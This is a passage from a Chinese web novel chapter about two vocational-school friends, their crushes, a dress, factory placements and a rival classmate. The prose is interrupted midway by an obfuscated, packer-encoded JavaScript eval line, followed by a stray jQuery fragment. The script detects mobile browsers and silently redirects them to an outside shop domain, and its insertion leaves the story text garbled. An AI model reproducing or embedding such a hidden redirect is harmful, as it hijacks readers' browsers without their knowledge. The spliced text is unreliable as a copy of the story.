“我不喜欢他了。”
“可……可是你之前不还让我去打听他喜欢什么,你说准备在去厂里实习之前跟他表明心意。”
虽然谢春华不乐意,但还是尽心尽力回家旁敲侧击。
陈时原本还有些不耐烦,怀疑谢春华脑子是不是进水了,平时相互都看不上连表面功夫都懒得装,忽然老来找他问三问四。
谢春华看陈时那副死样子就气不打一出来,冷笑道:“要不是玉汐让我问,我才懒得跟你说话,哼!”
说完她就重重摔门离开。
第二天一早,谢春华就发现自己门缝底下塞进来了两张纸,其中一张上面写满了自己的喜好,另一张纸则写了一句话。
帮我打探玉汐的,悄悄打听,事成一斤大白兔奶糖。
谢春华看着纸条上陈时许诺事成给她一斤大白兔奶糖,心里没有能获得奶糖的欣喜,全是陈时这是有多少零花钱的愤怒。
舍得买一斤大白兔奶糖,陈时的零花钱该不会是她的好几倍吧!
虽然有怨念,谢春华看在一斤大白兔奶糖的份上,还是给两人当起了爱情信鸽。
谢春华没忘记,李玉汐拿到那张写满了陈时爱好的那张纸时,小脸上的红晕比那天落日的夕阳红还要红。
这短短一个假期回来就不喜欢了?
谢春华脑海中浮现开学那天好姐妹身边那个人的身影。
难道……
谢春华还没来得及细细想,就开始被李玉汐盘问。
“你之前不是很讨厌陈时吗,怎么突然那么帮他做事了。”
谢春华的小九九被李玉汐生生拽了出来,刹那间有些心虚:“我那不是知道知道你喜欢……所以我……”
李玉汐眯着眼死死盯住谢春华,谢春华的语气逐渐变得理不直气也不壮。
果不其然,谢春华拉着她的手道:“好吧,我跟你老实交代吧,我看上了一条裙子,我的钱不够,陈时说直接给我买,但是条件就是帮他约你出来,要不你……”
谢春华同学在李玉汐的注视下说话的声音越来越小,小到后面跟蚊子声一样。
“就为了一条裙子你就把我卖了?亏我还把你当好姐妹,行啊我今晚就去然后跟你哥好上我嫁给他,以后在家里就有两个人欺负你,我现在就出门!”
“不行!”谢春华手急眼快把作势要起身出发的李玉汐拉住。
“我错了我错了还不行吗。”
李玉汐哼哼两声,问道:“什么裙子?”
“就东街头第一家那个。”
李玉汐在回忆里搜寻一下,东街头确实有很多漂亮小裙子,还有一些是仿港货,按照港都那边的风格样式生产,今天路过许余给她看的那天裙子的店就是东街头的入口,谢春华说的应该也是那一家。
李玉汐大眼睛滴溜溜转一圈,脑子里开始出现鬼主意。
“你生日不是快到了,我给你买,就当给你庆祝生日了。”
谢春华目瞪口饭,半响她难以置信道:“你的钱该不会是……许子建给的?这次请假回去就是……同意结婚?我不要你买,许子建那个人是什么货色大家都知道,你怎么能这样!给我回去退婚!”
她气鼓鼓站起来又坐下:“你还不如选陈时呢!”
李玉汐真想把谢春华的脑袋瓜撬开看看里面都是些什么东西,别说她现在,就算是上辈子她也不想嫁给许子建。
“你为什么老觉得我要嫁给许子建。”
说到这个,谢春华就开始细数她们从认识开始,她李玉汐的种种迹象。
“你,就是只听你爸的话,你自己也觉得不对为什么就是要听呢,怎么你忘啦,你之前说什么来着,不想你阿爸失望,不想你阿爸生气,什么你阿爸一个人带三个孩子不容易,所以你要多分担一点。”
“我一直都很想说,你哥你弟一点活不干,连想喝杯水都使唤你。”
“别跟我说什么你爸辛苦供你来广城念中专,哥哥弟弟都没有,他们为什么没有啊,能考得上吗他们,你阿爸还想让你大哥上高中考大学呢,考得上吗,你考得上不给你读就让你读中专,你还感激呢感激个屁——”
谢春华一直在骂街,激动之时站了起来气得跺脚,结婚回头看好姐妹在一旁只是笑更气了。
“你还笑!”
李玉汐收起笑,认真道:“我就是开心,谢谢你一直都那么替我着想。”
在她被欺负时永远都站出来替她出头,在她深陷丑闻的时候,唯一一个愿意为了她反驳那些在背后说三道四的人。
谢春华突然被人如此郑重地道谢,反而有些不自在的羞涩,又极力想要掩盖。
“谁替你着想了,我就是……看不惯你跟个软柿子一样。”
“是是是~你没有,但是在我心里你一直都是我的大英雄。”
“大英雄是男的。”
“胡说,大英雄也可以是女的。”
李玉汐对着谢春华撒娇,谢春华从前只听别人说男人对会撒娇的女人没有抵抗力。
其实不然,女人对会撒娇的女人也没有抵抗力。
谢春华同学被夸得吊起了翘嘴,嘴角的笑意怎么也压不下。
“那你的钱怎么来的?”
李玉汐被问住了,脑中迅速划过几幕他们在许阿叔家翻箱倒柜找值钱东西的场景。
没有一幕能说。
最后,李玉汐道:“我的补助每个月存下来一点不就有了。”
谢春华狐疑道:“你每个月都把补助寄一点回家里,还能有钱存下来?”
“过年红包也有一点……你到底要不要的,不要就算了。”
“要要要!谁说我不要啦。”
-
第二天早上,大家都早早在教室等着,今天可是个大日子,毕竟是长大成人的第一份工作,大家都比较激动。
开早会,邝老师就开始把分配的通知单拿出来,一个个念名字。
没有悬念,她被分配到了南华服装一厂的裁剪部门,七天之后到厂里报道。
“玉汐你也是南服一厂,咱俩是一个厂!”谢春华刚拿到表看了,就迫不及待看李玉汐的,得知李玉汐也跟自己一个厂,高兴得想要跳起来,原本她就担心如果分配的不是一个厂自己都没伴。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797172|209878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
去南华服装厂的不算少,有12个人。
谢春华在内的7个人去缝纫车间,4个人去后整理车间,只有她一个人去裁剪车间当裁剪助理。
谢春华说:“真好,你能去裁剪车间,我听说裁剪车间好,比缝纫车间好,中午休息时间都长一点……怎么感觉你一点都不激动呢?”
李玉汐对于这个结果没什么异样,毕竟上辈子就是这样安排的,一想到那里有个畜生在,她也很难激动。
她把通知单夹进书里,不露声色地岔开话题:“走吧,我们下午也不用待在学校,你不是说想要那条裙子吗,走吧我们现在就请假去买吧。”
“好啊好啊,我们先去吃东西,我带你去吃一家很好吃的小笼包。”
她们这边在讨论吃的,另一边有道不友好的声音出现。
“果然邝老师就是偏心班长,要不然怎么就班长一个人去裁剪车间了。”
还在聊得热火朝天的两人看过去,孙小微旁边围着几个跟她玩得好的小女生,现在看着她们这边大声讨论。
几个小女生你看看我我看看你,明显都在纠结要不要搭这个腔。
谢春华的炮仗脾气真不愧一点就着,孙小微才刚刚说完谢春华就想冲上去理论——被拦下来。
李玉汐对于小姑娘这些无足轻重的把戏也没放心上,更难听的她都听过。
李玉汐直接无视孙小微,跟谢春华说:“好啦,跟她置什么气,再不去你的小裙子可就要被人买走了哦。”
谢春华一想到小裙子,刚刚被破坏的心情好了些,得意洋洋地冲着孙小微,道:“蠢人就是多作怪~”
比起谢春华的挑衅,孙小微更生气的是李玉汐的无视。
她从小就是家里宠着长大的,要什么有什么,所有人的目光永远都在她身上,什么时候受过这样的无视。
李玉汐刚走到门口,孙小微就跑了过来把她挡在了身前,道:“你以为自己现在很了不起吗?”
谢春华不合时宜在李玉汐身后探出脑袋:“常年第一,她一直都挺了不起的,你才发现吗?”
孙小微气得小脸五颜六色。
李玉汐淡淡开口:“你想说什么?”
无非也就是说让她走着瞧之类的狠话,更加无伤大雅。
“你以为你肯定能去裁剪车间吗?”
这句话有深意,比走着瞧这种有技术含量。
孙小微家里条件还算不错,李玉汐是知道的,经常仗着这一点在班上作威作福,恨不得所有人都把她当成千金小姐。
李玉汐皮笑肉不笑,道:“那有本事,你去找人把我换掉好了,等你哦。”
孙小微被李玉汐这幅无所畏惧的模样给气得话都说不出,只是一个劲地瞪着愤怒的眼睛,恨不得把李玉汐的身体给盯出一个窟窿。
李玉汐连续被人挑了两次,就算是佛都要有火气了,她说完,就把孙小微推开带着谢春华离开了这个是非之地。
只是让李玉汐没想到的是,孙小微居然真的做到了,虽然没有把她从裁剪车间实习岗撤下来,但却把她自己从后整理车间跟她一起来了裁剪车间。